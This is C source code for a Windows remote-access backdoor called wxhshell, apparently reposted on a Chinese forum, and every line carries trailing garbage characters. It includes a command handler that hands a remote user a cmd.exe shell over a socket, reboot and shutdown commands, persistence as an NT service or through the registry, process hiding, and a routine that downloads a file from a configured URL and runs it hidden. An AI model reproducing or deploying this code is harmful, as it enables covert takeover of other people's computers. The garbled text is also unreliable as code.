    switch(cmd[0]) { >uFFTik  
  whFJ]  
  // 帮助 4ZkaH(a1  
  case '?': { Xm<|m#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +]Ev  
    break; DeI3(o7  
  } }(K1=cEaL  
  // 安装 UYzNaw4/x  
  case 'i': { 9zm2}6r4  
    if(Install()) QkYKm<b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NTVaz.  
    else 9)uJ\NMy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ao\Im(?  
    break; 8 EU/}Ym  
    } ,x?Jrcx~'C  
  // 卸载 < Yc)F.:  
  case 'r': { -8v:eyc  
    if(Uninstall()) {: =]J4]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D58RHgY[  
    else 6_K7!?YG7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AB<%GzW0(  
    break; NHe[,nIV  
    } U#{(*)qr  
  // 显示 wxhshell 所在路径 WwUHHm<v  
  case 'p': { u1>WG?/`  
    char svExeFile[MAX_PATH]; |O;vWn'U2  
    strcpy(svExeFile,"\n\r"); #q5tG\gnM  
      strcat(svExeFile,ExeFile); )"_&CYnd  
        send(wsh,svExeFile,strlen(svExeFile),0); fr}.#~{5Y  
    break; o ^ 08<  
    } 2s}G6'xE]P  
  // 重启 MjbgAH-  
  case 'b': { h)s&Nqg1B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w%(D4ldp   
    if(Boot(REBOOT)) 9U3.=J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f/"IC;<~t>  
    else { FytGg[#]  
    closesocket(wsh); 2 ]n4)vv,  
    ExitThread(0); WA.c.{w\  
    } t ;fJ`.  
    break; ULO_?4}B  
    } _>3#dk  
  // 关机 $"va8,  
  case 'd': { *;Z a))  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uUe#+[bD  
    if(Boot(SHUTDOWN)) A o@WTs9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4CqG4}Y  
    else { l< HnPR/  
    closesocket(wsh); !Z0S@]C  
    ExitThread(0); n*caP9B  
    } |hX\ep   
    break; R7c42L\QA  
    } D`U,T& @  
  // 获取shell qC q?`0&#  
  case 's': { n*Hx"2XF  
    CmdShell(wsh); 9%riB/vkrF  
    closesocket(wsh); S'`RP2P  
    ExitThread(0); ,rOh*ebF  
    break; h?vny->uJ  
  } <- R%  
  // 退出 'C@yJf  
  case 'x': { =%|f-x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z A}!Rzo  
    CloseIt(wsh); i8%Z(@_`  
    break; |W*2L] &  
    } j$4lyDfD  
  // 离开 *%%n9T  
  case 'q': { yM7FR);  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s~k62  
    closesocket(wsh); UG]x CkDS  
    WSACleanup(); uWi pjxS  
    exit(1); 99n;%W>  
    break; C~PP}|<~V  
        } %&J`mq  
  } #%{  
  } %}unlSTPP  
BM5)SgK  
  // 提示信息 ~+PKWs'}F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lB7/oa1]>  
} iz+,,UH  
  } rddn"~lm1  
v!=e]w6{  
  return; S_s;foT  
} L!fIAd`  
@Ph'!  
// shell模块句柄 ]qx!51S  
int CmdShell(SOCKET sock) X?]Mzcu  
{ "#pN  
STARTUPINFO si; C;ME"4,(  
ZeroMemory(&si,sizeof(si)); |w-s{L3@+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &E@mCQ1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nN>Uh T  
PROCESS_INFORMATION ProcessInfo; 2#8PM-3"  
char cmdline[]="cmd"; T0cm+|S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D\E"v,Y\+O  
  return 0; ~/Y8wxg  
} .ts XQf  
~`5[Li:eP  
// 自身启动模式 SN`L@/I  
int StartFromService(void) nO;ox*Bk+8  
{ }S%}%1pG7  
typedef struct qj^A   
{ cca]@Ox]  
  DWORD ExitStatus; }IQ![T5  
  DWORD PebBaseAddress;  [geT u  
  DWORD AffinityMask; 0|{":i_s  
  DWORD BasePriority; 1uz K(j8w  
  ULONG UniqueProcessId; )-1$y+s>  
  ULONG InheritedFromUniqueProcessId; T,B%iZgCh  
}   PROCESS_BASIC_INFORMATION; )P|/<>z  
V1A7hRjxvG  
PROCNTQSIP NtQueryInformationProcess; k1LbWR1%wB  
hJX;/~L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #t VGqf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RG/P]  
Z7Nhb{  
  HANDLE             hProcess; <!X]$kvG  
  PROCESS_BASIC_INFORMATION pbi; \;+b1  
(D+%*ax  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lg@q} ]1  
  if(NULL == hInst ) return 0; 5^Lbc.h  
Q?'Ax"$D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GB}X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SQk5SP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4ijZQ  
'NnmLM(oh  
  if (!NtQueryInformationProcess) return 0; (e<p^T J]  
`2'*E\   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :k~ p=ko  
  if(!hProcess) return 0; #QW% ;^  
v^ 1x}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uW,rmd  
1z3I^gI*i  
  CloseHandle(hProcess); l_(4CimOZ  
|D8c=c%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g$8a B{)  
if(hProcess==NULL) return 0; 8)J,jh9q  
"||G`%aO+t  
HMODULE hMod; Z3iX^  
char procName[255]; ;;LiZlf  
unsigned long cbNeeded; aQ)g7C  
~>}7+p ?;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ll^9,G"Tt  
<a2Kc '  
  CloseHandle(hProcess); PU\@^)$  
Ki3 wqY  
if(strstr(procName,"services")) return 1; // 以服务启动 O[ ^zQA  
MO79FNH2\  
  return 0; // 注册表启动 %5 <t3 H"  
} 2f 9%HX(5  
&oDu$%dkT  
// 主模块 1:"ZS ]i  
int StartWxhshell(LPSTR lpCmdLine)  TJb&f<  
{ 4_\]zhS  
  SOCKET wsl; dr4m}v.  
BOOL val=TRUE; E+eC #!&w  
  int port=0; _?>f9K$1  
  struct sockaddr_in door; J-Fqw-<aFJ  
l`{JxVg  
  if(wscfg.ws_autoins) Install(); Oin:5K)4-  
r}t%DH  
port=atoi(lpCmdLine); uC1v^!D  
Y F W0  
if(port<=0) port=wscfg.ws_port; %W$?*Tm  
?^: xNRE$j  
  WSADATA data; `ln= D$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pB,@<\l %  
1)M%]I4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]&L[]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3a,7lTUuB  
  door.sin_family = AF_INET; hfQ^C6yR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wW^3/  
  door.sin_port = htons(port); C#.d sl  
Lmyw[s\U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 BVpv7@  
closesocket(wsl); lb#`f,r>  
return 1; ,An*w_  
} v>mr  
|Oe$)(`|h  
  if(listen(wsl,2) == INVALID_SOCKET) { 9{{CNy p  
closesocket(wsl); o=do L{ #  
return 1; &v_b7h  
} {I"d"'h  
  Wxhshell(wsl); c::Vh  
  WSACleanup(); HoKN<w  
+JL"Z4b@R}  
return 0; g ??@~\Ov  
p:^;A/D  
} C$EvcF% 1  
%g%#=a;]q  
// 以NT服务方式启动 9=;ETLL "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @Tf5YZ*  
{ XZ&q5]PJI  
DWORD   status = 0; 2<5s0GT'/  
  DWORD   specificError = 0xfffffff; 9Vv&\m!0  
\9dC z;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;-T%sRI:|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i6h , Aw3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gj Ue{cb5  
  serviceStatus.dwWin32ExitCode     = 0; B (dq$+4  
  serviceStatus.dwServiceSpecificExitCode = 0; 68jq1Y Pv  
  serviceStatus.dwCheckPoint       = 0; {\f`s^;8{  
  serviceStatus.dwWaitHint       = 0; K3^N_^H  
&`[Dl(W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d/:zO4v3  
  if (hServiceStatusHandle==0) return; Wtwh.\Jba  
|7l*  
status = GetLastError(); rF5O?<(  
  if (status!=NO_ERROR) nXqZkZE\  
{ mEe JK3D[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R%N&Y~zH  
    serviceStatus.dwCheckPoint       = 0; d.uJ}=|  
    serviceStatus.dwWaitHint       = 0; O hcPlr  
    serviceStatus.dwWin32ExitCode     = status; geu8$^  
    serviceStatus.dwServiceSpecificExitCode = specificError; z,B'I.)M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q#N8IUN}4  
    return; &U8W(NxN  
  } W.AN0N  
g&"__~dS-F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NI136P  
  serviceStatus.dwCheckPoint       = 0; nAJ<@a  
  serviceStatus.dwWaitHint       = 0; {'#^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (s`yMUC+  
} 85 tQHm6j  
e&(Di,%:  
// 处理NT服务事件,比如:启动、停止 +<P%v k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tA2I_W Cl  
{ PuhFbgxy  
switch(fdwControl) ^w XXx=Xf  
{ ,#42ebGHR  
case SERVICE_CONTROL_STOP: rSVU|O3m;  
  serviceStatus.dwWin32ExitCode = 0; "7pd(p *C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }*4K]3et$  
  serviceStatus.dwCheckPoint   = 0; X,<n|zp  
  serviceStatus.dwWaitHint     = 0; ` AA[k  
  { J!o[/`4ib  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)>DFGb>H  
  } Z\d7dbv  
  return; MKYXYR  
case SERVICE_CONTROL_PAUSE: F$FCfP7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (!U5B Hnd  
  break; S/|'ggC  
case SERVICE_CONTROL_CONTINUE: .h2K$(/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L s=2!  
  break; ~'e/lX9g-  
case SERVICE_CONTROL_INTERROGATE: sSC yjS'T  
  break; E{*~>#+  
}; 0k5;Qf6A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|&?BBa9  
} !'No5  
VGY#ph%  
// 标准应用程序主函数 E3\O?+ h#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "|S \J5-%  
{ 9i8D_[  
t>h<XPJi  
// 获取操作系统版本 `<h}Ygo>k/  
OsIsNt=GetOsVer(); $Blo`'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \$2E  
/YWoDHL  
  // 从命令行安装 *BYSfcX6  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9qe6hF/29  
_'k?9eN`  
  // 下载执行文件 =j 6amk-  
if(wscfg.ws_downexe) { 93yJAao9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  s%Q pb{  
  WinExec(wscfg.ws_filenam,SW_HIDE); >+=)Q,|R  
} A\Q]o#U  
iKa}@U  
if(!OsIsNt) { }'dnL  
// 如果时win9x,隐藏进程并且设置为注册表启动 wHk4BWg-  
HideProc(); |n3PznV  
StartWxhshell(lpCmdLine); TSmuNCR  
} '8~7Ru\KyX  
else 8w~I(2S:#  
  if(StartFromService()) ZGa>^k[:  
  // 以服务方式启动 zr?%k]A%UO  
  StartServiceCtrlDispatcher(DispatchTable); eMVfv=&L<3  
else !SIGzj  
  // 普通方式启动 b#R3=TQS8  
  StartWxhshell(lpCmdLine); Aj.TX%}`h  
l}%!&V0  
return 0; {j[[E/8N!y  
}
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只看该作者 1 发表于: 2006-10-10
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